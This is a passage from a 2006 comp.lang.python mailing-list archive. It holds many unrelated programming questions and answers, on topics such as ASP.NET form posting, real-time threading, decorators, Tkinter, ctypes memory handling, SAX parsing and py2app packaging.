the scene but it still doesn't work even though > the post made by my function has the same data as a real browser post. > > here's the HTTP Header from my sniffer: > ------------------------------------------------------------- > http://www.newportrealty.com/Search/Default.aspx?Area=WC > > POST /Search/Default.aspx?Area=WC HTTP/1.1 > Host: www.newportrealty.com > User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6) > Gecko/20060728 Firefox/1.5.0.6 > Accept: > text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 > Accept-Language: en-us,en;q=0.5 > Accept-Encoding: gzip,deflate > Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 > Keep-Alive: 300 > Connection: keep-alive > Referer: http://www.newportrealty.com/Search/Default.aspx?Area=WC > Cookie: ASPSESSIONIDQQBTTDAT=JMBNNNNBNNJELLBBNCCDMNCK; > ASP.NET_SessionId=hzdjizvca2zid3f205s5kd45 > Content-Type: application/x-www-form-urlencoded > Content-Length: 4649 > __EVENTTARGET=dg_Result%3A_ctl1%3A_ctl1&__EVENTARGUMENT=&__VIEWSTATE=dDw0MD(...) > HTTP/1.x 200 OK > Cache-Control: private > Content-Length: 37519 > Content-Type: text/html; charset=utf-8 > Server: Microsoft-IIS/6.0 > X-Powered-By: ASP.NET > X-AspNet-Version: 1.1.4322 > Date: Wed, 04 Oct 2006 15:15:37 GMT > ------------------------------------------------------------- > > and here's the output of the encoded data as well as the cookies in my > function: > > ------------------------------------------------------------- > cookies: > www.newportrealty.com/> > www.newportrealty.com/> > > encoded post data: > __EVENTTARGET=dg_Result%3A_ctl14%3A_ctl2&__EVENTARGUMENT=&__VIEWSTATE=dDw0MDAyOTcw(...) > ------------------------------------------------------------- > > My function has already worked on other asp.net websites and I'm pretty > sure this would work out just fine. is there something I'm missing here? ok my bad I've just found out that I didn't build properly the form action url!! It works now! thanks for all the responses!! From hardcoded.software at gmail.com Wed Oct 4 17:14:19 2006 From: hardcoded.software at gmail.com (Virgil Dupras) Date: 4 Oct 2006 14:14:19 -0700 Subject: Where is Python in the scheme of things? In-Reply-To: References: Message-ID: <1159996459.214719.13080@i3g2000cwc.googlegroups.com> On Oct 4, 4:21 pm, "gord" wrote: > As a complete novice in the study of Python, I am asking myself where this > language is superior or better suited than others. For example, all I see in > the tutorials are lots of examples of list processing, arithmetic > calculations - all in a DOS-like environment. > > What is particularly disappointing is the absence of a Windows IDE, > components and an event driven paradigm. How does Python stand relative to > the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these > programming packages are quite expensive now while Python is free (at least > for the package I am using - ActivePython). > > Please discuss where Python shines. > Gord Delphi, one of the big 3? Since Borland abandoned it, it can only go downward (How do you call delphi 8, 2005 and 2006, if not *downwards*?) Java is much more of a big 3 than Delphi. Use Python for a little while (let's say 1000 lines of code), and if you're not convinced after that, go back to the big 3, happily telling yourself you're not missing anything... "What's with this weird python community anyway, speaking of code 'elegance' and 'readability'? There is no such thing!" From laurent.pointal at limsi.fr Mon Oct 2 05:31:07 2006 From: laurent.pointal at limsi.fr (Laurent Pointal) Date: Mon, 02 Oct 2006 11:31:07 +0200 Subject: python threading and timing In-Reply-To: References: Message-ID: Dennis Lee Bieber a ?crit : > On Sun, 1 Oct 2006 22:28:10 +0200, "Oeyvind Brandtsegg" > declaimed the following in comp.lang.python: > >> Also, I wonder what method I should be using to get a precise timing >> in my automation thread (acting as a sequencer). >> > Use a real-time OS (which neither M$ Windows nor Linux/UNIX claim to > be). > > All non-deterministic, multi-tasking, OS's (like Windows, Linux, > Solaris, AmigaOS) only guarantee that, for example, a sleep() call will > not return /before/ the time specified. There is no specification for > how much time /over/ the duration actually takes place. > > And setting the task priority into the Windows "real-time" category > is not sufficient -- I had an application that had to put out data on > six pins of the parallel port (acting as three discrete RS-422 style > balanced signals) in time with a (1KHz, as I recall) clock signal coming > in on another pin of the parallel port. The data was still getting > glitches every ~256 clocks as the OS did something in the background. > (the application was written in VC++6, and even disabled the GUI during > the data output operation. > +++ realtime OSes != high level priority threads And for a sound production using a sequencer, it looks like to need real realtime. And dont use Python threads for realtime multithreading, even on a realtime OS (because of the GIL - Global Interpreter Lock). May use Python for some -non realtime- parts, but I would not use any scripting language (not specific to Python) for real-time work (prefer C, ADA, maybe Java with ad-hoc extensions). You may go to Python by writing a Python C extension module (doing realtime work on its own - but never relying on python GIL in critical times), communicating with normal python scripts (shared memory... things which dont need the GIL if possible). A+ Laurent. From bignose+hates-spam at benfinney.id.au Sun Oct 15 01:55:49 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sun, 15 Oct 2006 15:55:49 +1000 Subject: problem with the 'math' module in 2.5? References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> <1160886206.594661.321230@e3g2000cwe.googlegroups.com> Message-ID: <87bqoe2kd6.fsf@benfinney.id.au> "Chris" writes: > Oh, ok that explains it. Is that why my 16-bit calculator gives me > 0? Your calculator is probably doing rounding without you asking for it. Python refuses to guess what you want, and gives you the information available. -- \ "Earth gets its price for what Earth gives us." -- James | `\ Russell Lowell | _o__) | Ben Finney From Eric_Dexter at msn.com Mon Oct 30 19:07:30 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 30 Oct 2006 16:07:30 -0800 Subject: I want to work on Python In-Reply-To: <1162179677.547593.17660@k70g2000cwa.googlegroups.com> References: <1162179677.547593.17660@k70g2000cwa.googlegroups.com> Message-ID: <1162253250.440812.276770@m7g2000cwm.googlegroups.com> I could use help with my project. It should be very popular when more of it is done and credit may be a good way to build your resume https://sourceforge.net/projects/dex-tracker ArdPy wrote: > Hi there, these days I am desperately searching everywhere on the > Internet for part time python jobs. The reason is I want to get > actively involved with python programming and get some practical > exposure. Please help me in whatever way you can. From fredrik at pythonware.com Fri Oct 20 01:46:33 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 07:46:33 +0200 Subject: Decorators and how they relate to Python - A little insight please! In-Reply-To: <1161322723.451426.305480@m7g2000cwm.googlegroups.com> References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> <1161322723.451426.305480@m7g2000cwm.googlegroups.com> Message-ID: jmcantrell at gmail.com wrote: > it's handy for doing things like validation of parameter and return > types. Like... > > @accepts(int,int) > @returns(int) > def add(a,b): > return a+b using Python decorators to turn Python into something that's not Python doesn't seem very handy to me, though. From antroy at gmail.com Tue Oct 3 05:05:43 2006 From: antroy at gmail.com (Ant) Date: 3 Oct 2006 02:05:43 -0700 Subject: loop beats generator expr creating large dict!? In-Reply-To: <20061002215040.65003374.gry@ll.mit.edu> References: <20061002215040.65003374.gry@ll.mit.edu> Message-ID: <1159866342.984495.254000@i42g2000cwa.googlegroups.com> George Young wrote: ... > I am puzzled that creating large dicts with an explicit iterable of > key,value pairs seems to be slow. I thought to save time by doing: > > palettes = dict((w,set(w)) for w in words) > > instead of: > > palettes={} > for w in words: > palettes[w]=set(w) In the generator case, you are first creating a tuple, and then assigning the first element of the tuple as the key and the second element as the value in the dictionary. In the loop, you are directly setting the key and value in the dictionary. Essentially by doing the generator (or comprehension), you are packing and unpacking the key, value pairs for each word in your initial list, all of which will have an overhead. From johnjsal at NOSPAMgmail.com Fri Oct 27 16:18:14 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 27 Oct 2006 20:18:14 GMT Subject: ANN: the pyfaq wiki has moved In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > John Salerno wrote: > >>> If you have some time to spare, why not drop by, pick some random >>> article, and let us know how it can be improved: >>> >>> http://effbot.org/random/pyfaq >> >> How do we log in to make changes? > > as with the 'infogami' version, you don't -- if you find something that > needs to be fixed or clarified, just post a comment, or a suggested new > text, and an editor will take care of the rest. > > > Ok. I was trying the "edit" link instead. From horpner at yahoo.com Fri Oct 20 11:39:37 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 20 Oct 2006 17:39:37 +0200 Subject: proper format for this database table References: <4537e232$0$3280$426a34cc@news.free.fr> Message-ID: On 2006-10-20, John Salerno wrote: > Bruno Desthuilliers wrote: >> John Salerno a ?crit : >>> Hi guys. I was wondering if someone could suggest some possible >>> structures for an "Education" table in a database. >> >> Wrong newsgroup, then. comp.database.* is right next door... > > I know, I'm sorry. It's just that this newsgroup server doesn't > have any database ngs on it. :( Try Google Groups for these annoying cases. -- Neil Cerutti The audience is asked to remain seated until the end of the recession. --Church Bulletin Blooper From maxerickson at gmail.com Sat Oct 14 08:39:49 2006 From: maxerickson at gmail.com (Max Erickson) Date: Sat, 14 Oct 2006 12:39:49 +0000 (UTC) Subject: Attribute error References: <1160803974.234768.286150@k70g2000cwa.googlegroups.com> Message-ID: "Teja" wrote: > Hi all, > > What is attribute error? what causes that error, especially with COM > objects? > > To be precise : > > Attribute Error: LCAS.LabcarController.writeLogWindow() > > Here, LCAS.... is a COM object > > Thanks > Teja.P > LabcarController might be a function. See: http://groups.google.com/group/comp.lang.python/msg/d7341f1aedcae6d3 for more detail. hope this helps, max From yellowalienbaby at gmail.com Tue Oct 17 16:02:12 2006 From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com) Date: 17 Oct 2006 13:02:12 -0700 Subject: Return returns nothing in recursive function In-Reply-To: References: Message-ID: <1161115332.568646.237510@e3g2000cwe.googlegroups.com> Fredrik Lundh wrote: > Matthew Warren wrote: > > > I have the following code that implements a simple recursive tree like > > structure. > > > > The trouble is with the GetTreeBranch function, the print statement > > prints a valid value but the return immediatley afterward doesn't return > > anything. > > hint: how many "return" statements do you see in this piece of code: > > else: > GetTreeBranch(path[1:],item[path[0]]) > > (This is Matthew, different google goups account) aha! Thanks Fredrik. This recursion business always twiddles with my head ;) It still took a good stare at the code before I worked it out, then the little lightbulb moment; else: return GetTreeBranch(path[1:],item[path[0]]) From kelong_2000 at yahoo.com Sun Oct 22 01:03:06 2006 From: kelong_2000 at yahoo.com (Kenneth Long) Date: Sat, 21 Oct 2006 22:03:06 -0700 (PDT) Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: <1161491991.010112.65630@k70g2000cwa.googlegroups.com> Message-ID: <20061022050306.19774.qmail@web51110.mail.yahoo.com> > > mingw32 is supported and can compile many > extensions. See the following > post: > > http://groups.google.com/group/comp.lang.python/msg/8e2260fe4d4b7de9 > > If you meant something else with your comment, > please explain. > thanks for the reference.. I just got the latest source for python and reading contents in PC, PCbuild, PCbuild8 directories. It would be nice if the windows build was as simple as running ./configure and make... The link for pexports-0.42h.zip is broken so I cant test it on an extension. hello __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From me at privacy.net Sun Oct 15 09:39:18 2006 From: me at privacy.net (Dan Sommers) Date: Sun, 15 Oct 2006 09:39:18 -0400 Subject: Reverse string-formatting (maybe?) References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> Message-ID: On 14 Oct 2006 05:35:02 -0700, "Dustan" wrote: > Is there any builtin function or module with a function similar to my > made-up, not-written deformat function as follows? I can't imagine it > would be too easy to write, but possible... [ snip ] > Any input? I've looked through the documentation of the string module > and re module, did a search of the documentation and a search of this > group, and come up empty-handed. Track down pyscanf. (Google is your friend, but I can't find any sort of licensing/copyright information, and the web addresses in the source code aren't available, so I hesitate to post my ancient copy.) HTH, Dan -- Dan Sommers "I wish people would die in alphabetical order." -- My wife, the genealogist From newptcai at gmail.com Mon Oct 30 12:44:12 2006 From: newptcai at gmail.com (=?utf-8?B?5LiA6aaW6K+X?=) Date: 30 Oct 2006 09:44:12 -0800 Subject: How to convert " " in a string to blank space? In-Reply-To: References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> Message-ID: <1162230252.927146.85800@b28g2000cwb.googlegroups.com> Oh, I didn't make myself clear. What I mean is how to convert a piece of html to plain text bu keep as much format as possible. Such as convert " " to blank space and convert
to "\r\n" Gary Herron wrote: > ??? wrote: > > Is there any simple way to solve this problem? > > > > > Yes, strings have a replace method: > > >>> s = "abc def" > >>> s.replace(' ',' ') > 'abc def' > > Also various modules that are meant to deal with web and xml and such > have functions to do such operations. > > > Gary Herron From Matthew.Warren at Digica.com Thu Oct 5 09:40:23 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Thu, 5 Oct 2006 14:40:23 +0100 Subject: dictionary of list from a file In-Reply-To: Message-ID: > -----> > Python 2.5 introduced a dictionary type with automatic > > creation of values, > > ala Perl: > > > > =============================== > > from collections import defaultdict > > > > d = defaultdict(list) > > for line in fl: > > k, v = line.strip().split() > > d[k].append(v) > > > > for k,v in d.items(): > > print k, v > > =============================== > > > > Notice that Python is always more strongly typed, so you have > > to specify a > > factory function. > > > Yay! Python2.5 fixed my approach to this, I tried > > from collections import defaultdict > f=file('c:\\test.txt') > lines=f.readlines() > f.close() > d=defaultdict(list) > [ d[l.split()[0]].append(l.split()[1]) for l in lines ] > > But, if I try your (to see if I've actually got it right) > > For k,v in d.items(): > print k,v > > I get > > AttributeError: 'list' object has no attribute 'items' > Okok, I'm silly. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From gabrielg_laburando at yahoo.com.ar Tue Oct 3 05:52:00 2006 From: gabrielg_laburando at yahoo.com.ar (Gabriel G) Date: Tue, 03 Oct 2006 06:52:00 -0300 Subject: Howto pass Array/Hash into Function In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A061581@mailbe01.teak.local .net> References: <3ACF03E372996C4EACD542EA8A05E66A061581@mailbe01.teak.local.net> Message-ID: <7.0.1.0.0.20061003064024.043563c0@yahoo.com.ar> At Tuesday 3/10/2006 06:05, Wijaya Edward wrote: >How can I pass Array, Hash, and a plain variable >in to a function at the same time. > >I come from Perl. Where as you probably know >it is done like this: > >sub myfunc { > > my ($plain_var, $hash_ref,$arref) = @_; > # Do sth with those variables > > return; >} In Python your functions have formal arguments: def myfunc(plain_var, some_dict, some_list): # ... return You also have positional and keyword arguments, and default values. Read the Python tutorial Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From fredrik at pythonware.com Wed Oct 25 04:19:54 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 10:19:54 +0200 Subject: python GUIs comparison (want) In-Reply-To: <453f18a6$0$21544$426a74cc@news.free.fr> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> <453e3c5a$0$23254$426a74cc@news.free.fr> <453f18a6$0$21544$426a74cc@news.free.fr> Message-ID: Christophe wrote: >>> Also, the Tkinter API is far less elegant than the others. >> huh? create object, display object, create object, display object. sure >> looks like plain old Python to me... > > Let's see : > > .pack(side = "left") > > fred = Button(self, fg = "red", bg = "blue") > fred["fg"] = "red" > > fred.bind("", turnRed) > > Yep, unelegant API I mantain yuck. if that's the kind of UI programs you're writing, we sure have different design ideals. and arguing that Tkinter is unelegant when you're doing silly things in a silly way is a bit like arguing that Python is unelegant because your first attempt to write a "hello world" program resulted in: import sys # .stdout.write("Hello World") # gives unusable error message from sys import stdout as glah glah.writelines(iter(" ".join(["h3110", "W0rlD"]))) > And no modern layout manager available. Only those old school > left/right/up/down pack and anchors are available. huh? when did you last look at Tk? 1994? From scott.daniels at acm.org Tue Oct 31 21:38:54 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Tue, 31 Oct 2006 18:38:54 -0800 Subject: Overriding traceback print_exc()? In-Reply-To: <1162327591.593141.198590@i42g2000cwa.googlegroups.com> References: <1162327591.593141.198590@i42g2000cwa.googlegroups.com> Message-ID: <45480009$1@nntp0.pdx.net> draghuram at gmail.com wrote: > I usually have a function like this: > > def get_excinfo_str(): > """return exception stack trace as a string""" > (exc_type, exc_value, exc_traceback) = sys.exc_info() The parens here can be skipped: exc_type, exc_value, exc_traceback = sys.exc_info() > formatted_excinfo = traceback.format_exception(exc_type, exc_value, > exc_traceback) > excinfo_str = "".join(formatted_excinfo) > del exc_type > del exc_value > del exc_traceback The three del lines above don't do anything (the return decrefs the locals). > return(excinfo_str) The parens here can be skipped as well: return excinfo_str -- --Scott David Daniels scott.daniels at acm.org From gerrit at nl.linux.org Mon Oct 30 02:31:52 2006 From: gerrit at nl.linux.org (Gerrit Holl) Date: Mon, 30 Oct 2006 08:31:52 +0100 Subject: Is there a way to get utf-8 out of a Unicode string? In-Reply-To: <1162193088.091894.269630@m73g2000cwd.googlegroups.com> References: <1162193088.091894.269630@m73g2000cwd.googlegroups.com> Message-ID: <20061030073152.GA2327@topjaklont.student.utwente.nl> Hei, On 2006-10-30 08:25:41 +0100, thebjorn wrote: > def unfk(s): > return eval(repr(s)[1:]).decode('utf-8') > > i.e. chopping off the u in the repr of a unicode string, and relying on > eval to interpret the \xHH sequences. > > Is there a less hack'ish way to do this? Slightly lack hackish: return ''.join(chr(ord(c)) for c in s) Gerrit. From cems at earthlink.net Sun Oct 1 02:52:13 2006 From: cems at earthlink.net (charlie strauss) Date: Sun, 1 Oct 2006 00:52:13 -0600 Subject: Is this a bug? Python intermittently stops dead for seconds Message-ID: Below is a simple program that will cause python to intermittently stop executing for a few seconds. it's 100% reproducible on my machine. I'd be tempted to say this is a nasty garbage collection performance issue except that there is no major memory to be garbage collected in this script. I'd be tempted to say it was a unix virtual memory issue except this is occuring at around 1/5th of my physical memory size. So something else unexplained is going on Class Foo instances create and hold a list of size nfoo of integers. (nfoo =10) Class Bar instances create and hold a list of size nbar of Foo objects. (nbar =100) When the code runs it starts creating and storing Bar objects in a list while watching for real-time glitches in how long it takes to create the next Foo object. If this is longer than 1/2 of a second then it reports it. On my computer after creating 1500 Bar objects, the rate of creation of new Foo suddenly has a periodic glitch. This glitch re- occurs about every 300 Bar Objects, and the duration of the glitch keeps getting longer--growing to many seconds!!!! Platform: 800Mhz powermac g 4 1Gb of memory python: python 2.4.2 Note: since I an using absolute time threshold for reporting the glitches, the first one may take more iterations before it occurs on a fast computer. You may need to increase nbar or nfoo. import sys from time import time class Foo(object): def __init__(me,nfoo): me.memory = [1]*nfoo class Bar(object): def __init__(me,nbar,nfoo): tgx.set_tag("Bar") # timer b = [None]*nbar for i in xrange(nbar): b[i]=Foo(nfoo) # make a foo, add it to list tgx.jump("Bar"+`i`) #timer me.b = b #store the list in my instance memory # just a utility class to time things. class gtime: def __init__(me,f=sys.stderr): me.last = time() me.f=f me.tag = "" me.ticks = 0 def set_tag(me,tag): me.tag = tag me.ticks = 0 def reset(me): me.ticks = 0 def jump(me,tag="NONE",allowed_gap=0.5): me.t = time() me.ticks +=1 if me.t-me.last>allowed_gap: print >>me.f,"Big Gap:",me.t-me.last,"seconds ",me.tag,tag,me.ticks me.last = time() tgx = gtime() # instance of the timer # main loop nbar = 100 nfoo = 10 ad_nauseum = 20000 final = [None]*ad_nauseum for i in xrange(ad_nauseum ): if i%100 == 0 :print >>sys.stderr,"Bars Made: ",i final[i] = Bar(nbar,nfoo) sample Output: Bars Made: 0 Bars Made: 100 Bars Made: 200 Bars Made: 300 Bars Made: 400 Bars Made: 500 Bars Made: 600 Bars Made: 700 Bars Made: 800 Bars Made: 900 Bars Made: 1000 Bars Made: 1100 Bars Made: 1200 Bars Made: 1300 Bars Made: 1400 Bars Made: 1500 Big Gap: 0.618862867355 seconds Bar Bar5 6 Bars Made: 1600 Bars Made: 1700 Bars Made: 1800 Big Gap: 0.748915195465 seconds Bar Bar76 77 Bars Made: 1900 Bars Made: 2000 Bars Made: 2100 Big Gap: 0.809149980545 seconds Bar Bar45 46 Bars Made: 2200 Bars Made: 2300 Bars Made: 2400 Big Gap: 0.898494958878 seconds Bar Bar15 16 Bars Made: 2500 Bars Made: 2600 Bars Made: 2700 Big Gap: 1.01110696793 seconds Bar Bar86 87 Bars Made: 2800 Bars Made: 2900 Bars Made: 3000 Big Gap: 1.12396192551 seconds Bar Bar55 56 Bars Made: 3100 Bars Made: 3200 Bars Made: 3300 Big Gap: 1.39006495476 seconds Bar Bar25 26 Bars Made: 3400 Bars Made: 3500 Bars Made: 3600 Big Gap: 1.55699706078 seconds Bar Bar96 97 Bars Made: 3700 Bars Made: 3800 Bars Made: 3900 Big Gap: 1.49929594994 seconds Bar Bar65 66 Bars Made: 4000 Bars Made: 4100 Bars Made: 4200 Big Gap: 1.64840602875 seconds Bar Bar35 36 Bars Made: 4300 Bars Made: 4400 Bars Made: 4500 Big Gap: 1.728484869 seconds Bar Bar5 6 Bars Made: 4600 Bars Made: 4700 Bars Made: 4800 From grante at visi.com Tue Oct 24 11:29:59 2006 From: grante at visi.com (Grant Edwards) Date: Tue, 24 Oct 2006 15:29:59 -0000 Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> <12jsc6r4ddnr886@corp.supernews.com> Message-ID: <12jscbnp92jgb9f@corp.supernews.com> On 2006-10-24, Grant Edwards wrote: > On 2006-10-24, Odalrick wrote: > >> I need to draw visible lines on pictures with wxPython. That means I >> can't simply use, for instance, a black line since it wont be visible >> on a black or dark picture. >> >> Painting applications like the GIMP accomplish this by altering the >> colour of the line based on the colour of the pixel it covers, > > Yup. > >> but the only way I can think of doing that is getting each >> pixel, transforming the colour then painting it on the screen, >> which seems like a horribly inefficient way do it. > > That's not how it's generally done. When you draw a line, most > graphics toolkits allow you to specify an "operator" that is > applied to the existing pixel and the line-color to determine > the new pixel color. The traditional way to draw lines on > something with varying colors is to use the "xor" operator when > drawing the lines. Oh, another big benefit from using the xor operator is that you can restore the pixmap to it's original state by simply repeating the exact same line-draw operation. That makes it trivial to do things like rubber-banding. -- Grant Edwards grante Yow! I just forgot my at whole philosophy of life!!! visi.com From sybrenUSE at YOURthirdtower.com.imagination Tue Oct 3 09:57:17 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Tue, 3 Oct 2006 15:57:17 +0200 Subject: Best way to handle large lists? References: Message-ID: Bill Williams enlightened us with: > I don't know enough about Python internals, but the suggested > solutions all seem to involve scanning bigList. Can this presumably > linear operation be avoided by using dict or similar to find all > occurrences of smallist items in biglist and then deleting those > occurrences? And how would that beat O(n)? Every element of bigList has to be scanned at one point, either to compare it to every earlier element in bigList and eliminate it, or to compare it to every element in smallList. Run benchmarks on the suggestions, and see which is fastest for yourself. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From ratchetgrid at googlemail.com Mon Oct 23 10:34:10 2006 From: ratchetgrid at googlemail.com (Nathan Harmston) Date: Mon, 23 Oct 2006 15:34:10 +0100 Subject: Parsing XML using SAX Message-ID: <676224240610230734u4f5ae6daq974defb684ffe2af@mail.gmail.com> Hi, Currently I m writing an XML parser that processes an xml file using sax, and I have it working, however I want to make the code of my parser less cluttered and more readable by other people (including myself). However it is quite messy at the moment. The main reason is that Python doesnt have a switch statement. def startElement(self,name,attributes): if name == "sbml": s = Sbml(attributes['xmlns'], attributes['version'], attributes['level']) self.sbmlDict['sbml'] = s elif name == "model": m = Model(attributes['id'], attributes['name']) self.sbmlDict['model'] = m elif name == "listOfCompartments": self.inListOfCompartments = bool(1) elif name == "compartment" and self.inListOfCompartments: c = Compartment(attributes['id'], attributes['name']) self.tempList.append(c) .......................................snip I would use a dictionary for this, but this would require the use of many extra methods for each tag name, and this would lead to clutter aswell. Does anyone have any suggestions for reducing the number of lines and making my code look neater than a large amount of methods or elif statements. Many Thanks Nathan -------------- next part -------------- An HTML attachment was scrubbed... URL: From jstroud at mbi.ucla.edu Wed Oct 4 16:35:12 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Wed, 04 Oct 2006 20:35:12 GMT Subject: py2app semi-standalone semi-works In-Reply-To: References: Message-ID: <4WUUg.9765$e66.8368@newssvr13.news.prodigy.com> Dave Opstad wrote: > In article , > James Stroud wrote: >>I am trying to create a semi-standalone with the vendor python on OS X >>10.4 (python 2.3.5). I tried to include some packages with both >>--packages from the command and the 'packages' option in setup.py. While >>the packages were nicely included in the application bundle in both >>cases (at Contents/Resources/lib/python2.3/), they were not found by >>python when the program was launched, giving the error: >> >> "ImportError: No module named [whatever module]" > > You might want to have a setup.cfg file in addition to the setup.py > file. I've found that helps ensure the relevant packages and includes > make it into the bundled application. > > For example, say you have a package named fred and also a separate > module named george that are needed for your app. Your setup.cfg could > look like this: > > # > # setup.cfg > # > > [py2app] > packages=fred > includes=george > > You can also have a section for [py2exe] if needed; that way, if there > are modules that your Windows build needs that the Mac build doesn't (or > vice versa), you can just include them where needed. > > Dave Hi Dave, Thank your for pointing me to setup.cfg. I make standalones for windows, linux, and OS X, so it will definitely help take some of the confusion out of my setup.py. However, when passing trying to build semi-standalone, the module does make it into the application bundle, but the python interpreter doesn't seem to know where to find it. Is there something I can specify in setup.cfg or setup.py that will point the interpreter to the included module, or will I need to make another test and programmatically set sys.path inside of my python code? If this is solved by setup.cfg, then forgive me--I haven't had a chance to try it yet. Below is the relevant part of my setup.py. James ===== APP = ['%s.py' % appname] DATA_FILES = [] OPTIONS = { 'argv_emulation' : True, 'strip' : True, 'packages' : packages, 'iconfile' : '%s.icns' % appname, } if not os.path.exists('dist'): setup( app=APP, name=appname, data_files=DATA_FILES, options={'py2app': OPTIONS}, setup_requires=['py2app'], ) else: print 'Directory "dist" exists. Doing nothing.' ===== -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From cameron.walsh at gmail.com Thu Oct 5 02:47:30 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Thu, 05 Oct 2006 14:47:30 +0800 Subject: user modules Message-ID: Hi, I'm writing a python program to analyse and export volumetric data. To make development and extension easier, and to make it more useful to the public when it is released (LGPL), I would like to enable users to place their own python files in a "user_extensions" directory. These files would implement a common interface in order for the main program to be able to read them and execute the necessary code. My question is what is the best way of implementing this? I have investigated importing them as modules, but unless the user modifies the main program I cannot see how the main program can learn of the existence of specific modules. For example: from user_modules import * # directory 'user_modules' contains __init__.py allowing this # From here I would need a list of the imported modules, in order to # execute a common command on each of them, such as for module in imported_modules: module.initialise() module.get_tab_window() How do I get from the first bit to the second bit, or is there a better way of obtaining the functionality I need? --Cameron. From theller at python.net Fri Oct 6 12:45:09 2006 From: theller at python.net (Thomas Heller) Date: Fri, 06 Oct 2006 18:45:09 +0200 Subject: Ctypes and freeing memory In-Reply-To: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com> References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com> Message-ID: Oliver Andrich schrieb: > Hi everybody, > > I am currently playing around with ctypes and a C library (libWand > from ImageMagick), and as I want to easily deploy it on Mac, Linux and > Windows, I prefer a ctypes solution over a C module. At least on > windows, I would have resource problems to compile the C module. So, > ctypes is the perfect choice for me. > > But I am currently encountering a pattern inside the C library, that > has to be used to free memory. Coding in C I have to do the following > > char *description; > long severity; > > description = MagickGetException(wand, &severity); > /* > do something with the description: print it, log it, ... > */ > description = (char *) MagickRelinquishMemory(description); > exit(-1); /* or something else what I want to after an exception occured */ > > So, this looks easy and is sensible from C's point of view. Now I try > to translate this to Python and ctypes. > > dll.MagickGetException.argtypes = [c_long, POINTER(c_long)] > dll.MagickGetException.restype = c_char_p > > severity = c_long() > description = dll.MagickGetException(byref(severity)) > > # So far so good. The above works like a charm, but the problem follows now > # ctypes already converted the char * for description to a String object. > # That means description has arrived in an area under Python's control. > > # these definitions are the easy part > dll.MagickRelinquishMemory.argtypes = [c_void_p] > dll.MagickRelinquishMemory.restype = c_char_p > > # but this obviously must cause problems and causes problems > dll.MagickRelinquishMemory(description) > > So, my question is, how do I deal with this situation? Can I ignore > the call to MagickRelinquishMemory, cause Python takes care of the > resources already? Or is it impossible to use it at all, and I have to > think about a different solution? ctypes only releases memory that it has allocated itself. So, if you don't call your MagickRelinquish function a memory leak will occur. Chris Mellon has already pointed out a possible solution, but there is also a different way. You could use a subclass of c_char_p as the restype attribute: class String(c_char_p): def __del__(self): MagickRelinquishMemory(self) The difference is that you will receive an instance of this class when you call the MagickGetException funcion. To access the 'char *' value, you can access the .value attribute (which is inherited from c_char_p), and to free the memory call MagickRelinquishMemory in the __del__ method. Thomas From ram0812 at hotmail.com Tue Oct 3 04:27:31 2006 From: ram0812 at hotmail.com (Raja Raman Sundararajan) Date: 3 Oct 2006 01:27:31 -0700 Subject: Overriding builtin getattr method In-Reply-To: <1159863862.889561.325340@m73g2000cwd.googlegroups.com> References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com> Message-ID: <1159864051.436175.289210@b28g2000cwb.googlegroups.com> Correction: I meant __builtin__.getattr method and not the other one I mentioned. :-) Thanks Raja Raja Raman Sundararajan skrev: > Hello guys, > I have data stored in the database which has special characters > like <, > etc. > Case 1: Whenever I wanted to present the output to a browser > I need to escape these special characters into the browser > equivalent like < > etc.( for example by using the cgi module) > Case 2: Whenever I wanted to present the output to some client other > than a browser, I wanted to present the data as it is stored in the > database. > > For doing this I thought of overriding the __builtin__.__getattr__ > method. > I am wondering if there is any other way of achieving this. I have > loads of files that get the 